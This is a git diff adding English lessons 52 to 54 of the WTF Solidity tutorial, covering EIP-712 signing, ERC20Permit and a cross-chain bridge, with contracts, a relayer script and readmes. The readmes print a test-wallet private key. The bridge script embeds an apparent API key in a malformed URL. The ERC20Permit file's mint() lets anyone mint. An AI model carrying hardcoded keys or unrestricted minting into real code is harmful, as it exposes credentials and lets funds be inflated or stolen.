wrote a simple vault contract that converts underlying assets to 1:1 vault share tokens. The ERC4626 standard improves the liquidity and composability of DeFi and it will gradually become more popular in the future. What applications would you build with ERC4626? \ No newline at end of file +In this lesson, we introduced the ERC4626 tokenized vault standard and wrote a simple vault contract that converts underlying assets to 1:1 vault share tokens. The ERC4626 standard improves the liquidity and composability of DeFi and it will gradually become more popular in the future. What applications would you build with ERC4626? diff --git a/Languages/en/52_EIP712_en/EIP712Storage.sol b/Languages/en/52_EIP712_en/EIP712Storage.sol new file mode 100644 index 000000000..e45d5a117 --- /dev/null +++ b/Languages/en/52_EIP712_en/EIP712Storage.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // type hash + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // contract address + )); + owner = msg.sender; + } + + /** + * @dev Store value in variable + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Check the signature length, 65 is the length of standard r, s, v signatures + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently, assembly (inline assembly) can only be used to obtain the values of r, s, and v from the signature. + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rules) + add(sig, 32) = pointer to sig + 32 + Equivalent to skipping the first 32 bytes of signature + mload(p) loads the next 32 bytes of data starting from memory address p + */ + // 32 bytes after reading the length data + r := mload(add(_signature, 0x20)) + //32 bytes after reading + s := mload(add(_signature, 0x40)) + //Read the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + + // Get signed message hash + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); // Restore signer + require(signer == owner, "EIP712Storage: Invalid signature"); // Check signature + + // Modify state variables + number = _num; + } + + /** + * @dev Return value + * @return value of 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} diff --git a/Languages/en/52_EIP712_en/eip712storage.html b/Languages/en/52_EIP712_en/eip712storage.html new file mode 100644 index 000000000..eb43f2def --- /dev/null +++ b/Languages/en/52_EIP712_en/eip712storage.html @@ -0,0 +1,115 @@ + + + + + + EIP-712 Signature Example + + +

EIP-712 Signature Example

+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+

+
+  
Wallet address:
+
ChainID:
+
ETH Balance:
+
Signature data:
+ + + + diff --git a/Languages/en/52_EIP712_en/img/52-1.png b/Languages/en/52_EIP712_en/img/52-1.png new file mode 100644 index 000000000..d52d43120 Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-1.png differ diff --git a/Languages/en/52_EIP712_en/img/52-2.png b/Languages/en/52_EIP712_en/img/52-2.png new file mode 100644 index 000000000..0b521b27a Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-2.png differ diff --git a/Languages/en/52_EIP712_en/img/52-3.png b/Languages/en/52_EIP712_en/img/52-3.png new file mode 100644 index 000000000..76081409a Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-3.png differ diff --git a/Languages/en/52_EIP712_en/img/52-4.png b/Languages/en/52_EIP712_en/img/52-4.png new file mode 100644 index 000000000..ab8640e31 Binary files /dev/null and b/Languages/en/52_EIP712_en/img/52-4.png differ diff --git a/Languages/en/52_EIP712_en/readme.md b/Languages/en/52_EIP712_en/readme.md new file mode 100644 index 000000000..bea8e523f --- /dev/null +++ b/Languages/en/52_EIP712_en/readme.md @@ -0,0 +1,202 @@ +--- +title: 52. EIP712 Typed Data Signature +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Solidity Minimalist Introduction: 52. EIP712 Typed Data Signature + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +In this lecture, we introduce a more advanced and secure signature method, EIP712 typed data signature. + +## EIP712 + +Previously we introduced [EIP191 signature standard (personal sign)](https://github.com/AmazingAng/WTFSolidity/blob/main/37_Signature/readme.md), which can sign a message. But it is too simple. When the signature data is complex, the user can only see a string of hexadecimal strings (the hash of the data) and cannot verify whether the signature content is as expected. + +![](./img/52-1.png) + +[EIP712 Typed Data Signature](https://eips.ethereum.org/EIPS/eip-712) is a more advanced and more secure signature method. When an EIP712-enabled Dapp requests a signature, the wallet displays the original data of the signed message and the user can sign after verifying that the data meets expectations. + +![](./img/52-2.png) + +## How to use EIP712 + +The application of EIP712 generally includes two parts: off-chain signature (front-end or script) and on-chain verification (contract). Below we use a simple example `EIP712Storage` to introduce the use of EIP712. The `EIP712Storage` contract has a state variable `number`, which needs to be verified by the EIP712 signature before it can be changed. + +### Off-chain signature + +1. The EIP712 signature must contain an `EIP712Domain` part, which contains the name of the contract, version (generally agreed to be "1"), chainId, and verifyingContract (the contract address to verify the signature). + + ```js + EIP712Domain: [ + { name: "name", type: "string" }, + { name: "version", type: "string" }, + { name: "chainId", type: "uint256" }, + { name: "verifyingContract", type: "address" }, + ] + ``` + + This information is displayed when the user signs and ensures that only specific contracts for a specific chain can verify the signature. You need to pass in the corresponding parameters in the script. + + ```js + const domain = { + name: "EIP712Storage", + version: "1", + chainId: "1", + verifyingContract: "0xf8e81D47203A594245E36C48e151709F0C19fBe8", + }; + ``` + +2. You need to customize a signature data type according to the usage scenario, and it must match the contract. In the `EIP712Storage` example, we define a `Storage` type, which has two members: `spender` of type `address`, which specifies the caller who can modify the variable; `number` of type `uint256`, which specifies The modified value of the variable. + + ```js + const types = { + Storage: [ + { name: "spender", type: "address" }, + { name: "number", type: "uint256" }, + ], + }; + ``` +3. Create a `message` variable and pass in the typed data to be signed. + + ```js + const message = { + spender: "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4", + number: "100", + }; + ``` + ![](./img/52-3.png) + +4. Call the `signTypedData()` method of the wallet object, passing in the `domain`, `types`, and `message` variables from the previous step for signature (`ethersjs v6` is used here). + + ```js + // Get provider + const provider = new ethers.BrowserProvider(window.ethereum) + // After obtaining the signer, call the signTypedData method for eip712 signature + const signature = await signer.signTypedData(domain, types, message); + console.log("Signature:", signature); + ``` + ![](./img/52-4.png) + +### On-chain verification + +Next is the `EIP712Storage` contract part, which needs to verify the signature and, if passed, modify the `number` state variable. It has `5` state variables. + +1. `EIP712DOMAIN_TYPEHASH`: The type hash of `EIP712Domain`, which is a constant. +2. `STORAGE_TYPEHASH`: The type hash of `Storage`, which is a constant. +3. `DOMAIN_SEPARATOR`: This is the unique value of each domain (Dapp) mixed in the signature, consisting of `EIP712DOMAIN_TYPEHASH` and `EIP712Domain` (name, version, chainId, verifyingContract), initialized in `constructor()`. +4. `number`: The state variable that stores the value in the contract can be modified by the `permitStore()` method. +5. `owner`: Contract owner, initialized in `constructor()`, and verify the validity of the signature in the `permitStore()` method. + +In addition, the `EIP712Storage` contract has `3` functions. + +1. Constructor: Initialize `DOMAIN_SEPARATOR` and `owner`. +2. `retrieve()`: Read the value of `number`. +3. `permitStore`: Verify the EIP712 signature and modify the value of `number`. First, it breaks the signature into `r`, `s`, and `v`. The signed message text `digest` is then spelt out using `DOMAIN_SEPARATOR`, `STORAGE_TYPEHASH`, the caller address, and the `_num` parameter entered. Finally, use the `recover()` method of `ECDSA` to recover the signer's address. If the signature is valid, update the value of `number`. + +```solidity +// SPDX-License-Identifier: MIT +// By 0xAA +pragma solidity ^0.8.0; + +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; + +contract EIP712Storage { + using ECDSA for bytes32; + + bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); + bytes32 private constant STORAGE_TYPEHASH = keccak256("Storage(address spender,uint256 number)"); + bytes32 private DOMAIN_SEPARATOR; + uint256 number; + address owner; + + constructor(){ + DOMAIN_SEPARATOR = keccak256(abi.encode( + EIP712DOMAIN_TYPEHASH, // type hash + keccak256(bytes("EIP712Storage")), // name + keccak256(bytes("1")), // version + block.chainid, // chain id + address(this) // contract address + )); + owner = msg.sender; + } + + /** + * @dev Store value in variable + */ + function permitStore(uint256 _num, bytes memory _signature) public { + // Check the signature length, 65 is the length of the standard r, s, v signature + require(_signature.length == 65, "invalid signature length"); + bytes32 r; + bytes32 s; + uint8 v; + // Currently only assembly (inline assembly) can be used to obtain the values of r, s, v from the signature + assembly { + /* + The first 32 bytes store the length of the signature (dynamic array storage rules) + add(sig, 32) = pointer to sig + 32 + Equivalent to skipping the first 32 bytes of signature + mload(p) loads the next 32 bytes of data starting from memory address p + */ + // Read the 32 bytes after length data + r := mload(add(_signature, 0x20)) + //32 bytes after reading + s := mload(add(_signature, 0x40)) + //Read the last byte + v := byte(0, mload(add(_signature, 0x60))) + } + + //Get signed message hash + bytes32 digest = keccak256(abi.encodePacked( + "\x19\x01", + DOMAIN_SEPARATOR, + keccak256(abi.encode(STORAGE_TYPEHASH, msg.sender, _num)) + )); + + address signer = digest.recover(v, r, s); //Recover the signer + require(signer == owner, "EIP712Storage: Invalid signature"); // Check signature + + //Modify state variables + number = _num; + } + + /** + * @dev Return value + * @return value of 'number' + */ + function retrieve() public view returns (uint256){ + return number; + } +} +``` + +## Remix Reappearance + +1. Deploy the `EIP712Storage` contract. + +2. Run `eip712storage.html`, change the `Contract Address` to the deployed `EIP712Storage` contract address, and then click the `Connect Metamask` and `Sign Permit` buttons to sign. To sign, use the wallet that deploys the contract, such as the Remix test wallet: + + ```js + public_key: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +3. Call the `permitStore()` method of the contract, enter the corresponding `_num` and signature, and modify the value of `number`. + +4. Call the `retrieve()` method of the contract and see that the value of `number` has changed. + +## Summary + +In this lecture, we introduce EIP712 typed data signature, a more advanced and secure signature standard. When requesting a signature, the wallet displays the original data of the signed message and the user can sign after verifying the data. This standard is widely used and is used in Metamask, Uniswap token pairs, DAI stable currency and other scenarios. I hope everyone can master it. diff --git a/Languages/en/53_ERC20Permit/ERC20Permit.sol b/Languages/en/53_ERC20Permit/ERC20Permit.sol new file mode 100644 index 000000000..bf7927e78 --- /dev/null +++ b/Languages/en/53_ERC20Permit/ERC20Permit.sol @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/** +* @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev initializes the name of EIP712 and the name and symbol of ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev See {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Check deadline + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Splice Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calculate the signer from the signature and message, and verify the signature + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + //Authorize + _approve(owner, spender, value); + } + + /** + * @dev See {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumption nonce": Returns the current `nonce` of the `owner` and increases it by 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } + + // @dev mint tokens + function mint(uint amount) external { + _mint(msg.sender, amount); + } +} diff --git a/Languages/en/53_ERC20Permit/IERC20Permit.sol b/Languages/en/53_ERC20Permit/IERC20Permit.sol new file mode 100644 index 000000000..c77b07de3 --- /dev/null +++ b/Languages/en/53_ERC20Permit/IERC20Permit.sol @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * +* Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +interface IERC20Permit { + /** + * @dev Authorizes `owenr`’s ERC20 balance to `spender` based on the owner’s signature, the amount is `value` + * + * Release the {Approval} event. + * + * Require: + * + * - `spender` cannot be a zero address. + * - `deadline` must be a timestamp in the future. + * - `v`, `r` and `s` must be valid `secp256k1` signatures of the `owner` on function arguments in EIP712 format. + * - The signature must use the `owner`'s current nonce (see {nonces}). + * + *For more information on signature format, see: + * https://eips.ethereum.org/EIPS/eip-2612#specification。 + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + * @dev Returns the current nonce of `owner`. This value must be included every time you generate a signature for {permit}. + * + * Each successful call to {permit} will increase the `owner`'s nonce by 1. This prevents the signature from being used multiple times. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Returns the domain separator used to encode the signature of {permit}, as defined by {EIP712}. + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} diff --git a/Languages/en/53_ERC20Permit/img/53-1.png b/Languages/en/53_ERC20Permit/img/53-1.png new file mode 100644 index 000000000..6290d4630 Binary files /dev/null and b/Languages/en/53_ERC20Permit/img/53-1.png differ diff --git a/Languages/en/53_ERC20Permit/img/53-2.png b/Languages/en/53_ERC20Permit/img/53-2.png new file mode 100644 index 000000000..0342213ef Binary files /dev/null and b/Languages/en/53_ERC20Permit/img/53-2.png differ diff --git a/Languages/en/53_ERC20Permit/readme.md b/Languages/en/53_ERC20Permit/readme.md new file mode 100644 index 000000000..9fcbabd52 --- /dev/null +++ b/Languages/en/53_ERC20Permit/readme.md @@ -0,0 +1,210 @@ +--- +title: 53. ERC-2612 ERC20Permit +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF A simple introduction to Solidity: 53. ERC-2612 ERC20Permit + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website wtf.academy](https://wtf.academy) + +All codes and tutorials are open source on github: [github.com/AmazingAng/WTFSolidity](https://github.com/AmazingAng/WTFSolidity) + +----- + +In this lecture, we introduce an extension of ERC20 tokens, ERC20Permit, which supports the use of signatures for authorization and improves user experience. It was proposed in EIP-2612, has been incorporated into the Ethereum standard, and is used by tokens such as `USDC`, `ARB`, etc. + +## ERC20 + +We introduced ERC20, the most popular token standard in Ethereum, in [Lecture 31](https://github.com/WTFAcademy/WTF-Solidity/blob/main/Languages/en/31_ERC20_en/readme.md). One of the main reasons for its popularity is that the two functions `approve` and `transferFrom` are used together so that tokens can not only be transferred between externally owned accounts (EOA) but can also be used by other contracts. + +However, the `approve` function of ERC20 is restricted to be called only by the token owner, which means that all initial operations of `ERC20` tokens must be performed by `EOA`. For example, if user A uses `USDT` to exchange `ETH` on a decentralized exchange, two transactions must be completed: in the first step, user A calls `approve` to authorize `USDT` to the contract, and in the second step, user A calls `approve` to authorize `USDT` to the contract. Contracts are exchanged. Very cumbersome, and users must hold `ETH` to pay for the gas of the transaction. + +## ERC20Permit + +EIP-2612 proposes ERC20Permit, which extends the ERC20 standard by adding a `permit` function that allows users to modify authorization through EIP-712 signatures instead of through `msg.sender`. This has two benefits: + +1. The authorization step only requires the user to sign off the chain, reducing one transaction. +2. After signing, the user can entrust a third party to perform subsequent transactions without holding ETH: User A can send the signature to a third party B who has gas, and entrust B to execute subsequent transactions. + +![](./img/53-1.png) + +## Contract + +### IERC20Permit interface contract + +First, let us study the interface contract of ERC20Permit, which defines 3 functions: + +- `permit()`: Authorize the ERC20 token balance of `owner` to `spender` according to the signature of `owner`, and the amount is `value`. Require: + + - `spender` cannot be a zero address. + - `deadline` must be a timestamp in the future. + - `v`, `r` and `s` must be valid `secp256k1` signatures of the `owner` on function arguments in EIP712 format. + - The signature must use the current nonce of the `owner`. + + +- `nonces()`: Returns the current nonce of `owner`. This value must be included every time you generate a signature for the `permit()` function. Each successful call to the `permit()` function will increase the `owner` nonce by 1 to prevent the same signature from being used multiple times. + +- `DOMAIN_SEPARATOR()`: Returns the domain separator used to encode the signature of the `permit()` function, such as [EIP712](https://github.com/AmazingAng/WTF-Solidity/blob/main /52_EIP712/readme.md). + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +/** + * @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + */ +interface IERC20Permit { + /** + * @dev Authorizes `owner`’s ERC20 balance to `spender` based on the owner’s signature, the amount is `value` + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + /** + *@dev Returns the current nonce of `owner`. This value must be included every time you generate a signature for {permit}. + */ + function nonces(address owner) external view returns (uint256); + + /** + * @dev Returns the domain separator used to encode the signature of {permit} + */ + // solhint-disable-next-line func-name-mixedcase + function DOMAIN_SEPARATOR() external view returns (bytes32); +} +``` + +### ERC20Permit Contract + +Next, let us write a simple ERC20Permit contract, which implements all interfaces defined by IERC20Permit. The contract contains 2 state variables: + +- `_nonces`: `address -> uint` mapping, records the current nonce values of all users, +- `_PERMIT_TYPEHASH`: Constant, records the type hash of the `permit()` function. + +The contract contains 5 functions: + +- Constructor: Initialize the `name` and `symbol` of the token. +- **`permit()`**: The core function of ERC20Permit, which implements the `permit()` of IERC20Permit. It first checks whether the signature has expired, then restores the signed message using `_PERMIT_TYPEHASH`, `owner`, `spender`, `value`, `nonce`, and `deadline` and verifies whether the signature is valid. If the signature is valid, the `_approve()` function of ERC20 is called to perform the authorization operation. +- `nonces()`: Implements the `nonces()` function of IERC20Permit. +- `DOMAIN_SEPARATOR()`: Implements the `DOMAIN_SEPARATOR()` function of IERC20Permit. +- `_useNonce()`: A function that consumes `nonce`, returns the user's current `nonce`, and increases it by 1. + +```solidity +// SPDX-License-Identifier: MIT + +pragma solidity ^0.8.0; + +import "./IERC20Permit.sol"; +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; +import "@openzeppelin/contracts/utils/cryptography/EIP712.sol"; + +/*** @dev ERC20 Permit extended interface that allows approval via signatures, as defined in https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. + * + * Added {permit} method to change an account's ERC20 balance via a message signed by the account (see {IERC20-allowance}). By not relying on {IERC20-approve}, token holders' accounts do not need to send transactions and therefore do not need to hold Ether at all. + */ +contract ERC20Permit is ERC20, IERC20Permit, EIP712 { + mapping(address => uint) private _nonces; + + bytes32 private constant _PERMIT_TYPEHASH = + keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); + + /** + * @dev initializes the name of EIP712 and the name and symbol of ERC20 + */ + constructor(string memory name, string memory symbol) EIP712(name, "1") ERC20(name, symbol){} + + /** + * @dev See {IERC20Permit-permit}. + */ + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) public virtual override { + // Check deadline + require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); + + // Splice Hash + bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); + bytes32 hash = _hashTypedDataV4(structHash); + + // Calculate the signer from the signature and message, and verify the signature + address signer = ECDSA.recover(hash, v, r, s); + require(signer == owner, "ERC20Permit: invalid signature"); + + //Authorize + _approve(owner, spender, value); + } + + /** + * @dev See {IERC20Permit-nonces}. + */ + function nonces(address owner) public view virtual override returns (uint256) { + return _nonces[owner]; + } + + /** + * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. + */ + function DOMAIN_SEPARATOR() external view override returns (bytes32) { + return _domainSeparatorV4(); + } + + /** + * @dev "Consumption nonce": Returns the current `nonce` of the `owner` and increases it by 1. + */ + function _useNonce(address owner) internal virtual returns (uint256 current) { + current = _nonces[owner]; + _nonces[owner] += 1; + } +} +``` + +## Remix Reappearance + +1. Deploy the `ERC20Permit` contract and set both `name` and `symbol` to `WTFPermit`. + +2. Run `signERC20Permit.html` and change the `Contract Address` to the deployed `ERC20Permit` contract address. Other information is given below. Then click the `Connect Metamask` and `Sign Permit` buttons in sequence to sign, and obtain `r`, `s`, and `v` for contract verification. To sign, use the wallet that deploys the contract, such as the Remix test wallet: + + ```js + owner: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4 spender: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2 + value: 100 + deadline: 115792089237316195423570985008687907853269984665640564039457584007913129639935 + private_key: 503f38a9c967ed597e47fe25643985f032b072db8075426a92110f82df48dfcb + ``` + +![](./img/53-2.png) + + +3. Call the `permit()` method of the contract, enter the corresponding parameters, and authorize. + +4. Call the `allance()` method of the contract, enter the corresponding `owner` and `spender`, and you can see that the authorization is successful. + +## Safety Note + +ERC20Permit uses off-chain signatures for authorization, which brings convenience to users but also brings risks. Some hackers will use this feature to conduct phishing attacks to deceive user signatures and steal assets. A signature [phishing attack] (https://twitter.com/0xAA_Science/status/1652880488095440897?s=20) targeting USDC in April 2023 caused a user to lose 228w u of assets. + +**When signing, be sure to read the signature carefully! ** + +## Summary + +In this lecture, we introduced ERC20Permit, an extension of the ERC20 token standard, which supports users to use off-chain signatures for authorization operations, improves user experience, and is adopted by many projects. But at the same time, it also brings greater risks, and your assets can be swept away with just one signature. Everyone must be more careful when signing. diff --git a/Languages/en/54_CrossChainBridge/CrosschainERC20.sol b/Languages/en/54_CrossChainBridge/CrosschainERC20.sol new file mode 100644 index 000000000..dfad0e437 --- /dev/null +++ b/Languages/en/54_CrossChainBridge/CrosschainERC20.sol @@ -0,0 +1,44 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.10; + +import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "@openzeppelin/contracts/access/Ownable.sol"; + +contract CrossChainToken is ERC20, Ownable { + + // Bridge event + event Bridge(address indexed user, uint256 amount); + // Mint event + event Mint(address indexed to, uint256 amount); + + /** + * @param name Token Name + * @param symbol Token Symbol + * @param totalSupply Token Supply + */ + constructor( + string memory name, + string memory symbol, + uint256 totalSupply + ) payable ERC20(name, symbol) { + _mint(msg.sender, totalSupply); + } + + /** + * Bridge function + * @param amount: burn amount of token on the current chain and mint on the other chain + */ + function bridge(uint256 amount) public { + _burn(msg.sender, amount); + emit Bridge(msg.sender, amount); + } + + /** + * Mint function + */ + function mint(address to, uint amount) external onlyOwner { + _mint(to, amount); + emit Mint(to, amount); + } +} + diff --git a/Languages/en/54_CrossChainBridge/crosschain.js b/Languages/en/54_CrossChainBridge/crosschain.js new file mode 100644 index 000000000..8b50b1686 --- /dev/null +++ b/Languages/en/54_CrossChainBridge/crosschain.js @@ -0,0 +1,59 @@ +import { ethers } from "ethers"; + +//Initialize the providers of the two chains +const providerGoerli = new ethers.JsonRpcProvider("Goerli_Provider_URL"); +const providerSepolia = new ethers.JsonRpcProvider("Sepolia_Provider_URL://eth-sepolia.g.alchemy.com/v2/RgxsjQdKTawszh80TpJ-14Y8tY7cx5W2"); + +//Initialize the signers of the two chains +// privateKey fills in the private key of the administrator's wallet +const privateKey = "Your_Key"; +const walletGoerli = new ethers.Wallet(privateKey, providerGoerli); +const walletSepolia = new ethers.Wallet(privateKey, providerSepolia); + +//Contract address and ABI +const contractAddressGoerli = "0xa2950F56e2Ca63bCdbA422c8d8EF9fC19bcF20DD"; +const contractAddressSepolia = "0xad20993E1709ed13790b321bbeb0752E50b8Ce69"; + +const abi = [ + "event Bridge(address indexed user, uint256 amount)", + "function bridge(uint256 amount) public", + "function mint(address to, uint amount) external", +]; + +//Initialize contract instance +const contractGoerli = new ethers.Contract(contractAddressGoerli, abi, walletGoerli); +const contractSepolia = new ethers.Contract(contractAddressSepolia, abi, walletSepolia); + +const main = async () => { + try{ + console.log(`Start listening to cross-chain events`) + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractSepolia.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Sepolia: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractGoerli.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Goerli`); + }); + + // Listen to the Bridge event of chain Sepolia, and then perform the mint operation on Goerli to complete the cross-chain + contractGoerli.on("Bridge", async (user, amount) => { + console.log(`Bridge event on Chain Goerli: User ${user} burned ${amount} tokens`); + + // Performing burn operation + let tx = await contractSepolia.mint(user, amount); + await tx.wait(); + + console.log(`Minted ${amount} tokens to ${user} on Chain Sepolia`); + }); + + }catch(e){ + console.log(e); + + } +} + +main(); diff --git a/Languages/en/54_CrossChainBridge/img/54-1.png b/Languages/en/54_CrossChainBridge/img/54-1.png new file mode 100644 index 000000000..17da1d2e2 Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-1.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-2.png b/Languages/en/54_CrossChainBridge/img/54-2.png new file mode 100644 index 000000000..ab716afdf Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-2.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-3.png b/Languages/en/54_CrossChainBridge/img/54-3.png new file mode 100644 index 000000000..64e01f618 Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-3.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-4.png b/Languages/en/54_CrossChainBridge/img/54-4.png new file mode 100644 index 000000000..228de15fc Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-4.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-5.png b/Languages/en/54_CrossChainBridge/img/54-5.png new file mode 100644 index 000000000..189cde78f Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-5.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-6.png b/Languages/en/54_CrossChainBridge/img/54-6.png new file mode 100644 index 000000000..6b853510f Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-6.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-7.png b/Languages/en/54_CrossChainBridge/img/54-7.png new file mode 100644 index 000000000..437850cbf Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-7.png differ diff --git a/Languages/en/54_CrossChainBridge/img/54-8.png b/Languages/en/54_CrossChainBridge/img/54-8.png new file mode 100644 index 000000000..c03a92f0a Binary files /dev/null and b/Languages/en/54_CrossChainBridge/img/54-8.png differ diff --git a/Languages/en/54_CrossChainBridge/readme.md b/Languages/en/54_CrossChainBridge/readme.md new file mode 100644 index 000000000..fb22b36a6 --- /dev/null +++ b/Languages/en/54_CrossChainBridge/readme.md @@ -0,0 +1,198 @@ +--- +title: 54. Cross-chain bridge +tags: + - solidity + - erc20 + - eip712 + - openzepplin +--- + +# WTF Minimalist introduction to Solidity: 54. Cross-chain bridge + +I'm recently re-learning solidity, consolidating the details, and writing a "WTF Solidity Minimalist Introduction" for novices (programming experts can find another tutorial), updating 1-3 lectures every week. + +Twitter: [@0xAA_Science](https://twitter.com/0xAA_Science) + +Community: [Discord](https://discord.gg/5akcruXrsk)|[WeChat Group](https://docs.google.com/forms/d/e/1FAIpQLSe4KGT8Sh6sJ7hedQRuIYirOoZK_85miz3dw7vA1-YjodgJ-A/viewform?usp=sf_link) |[Official website 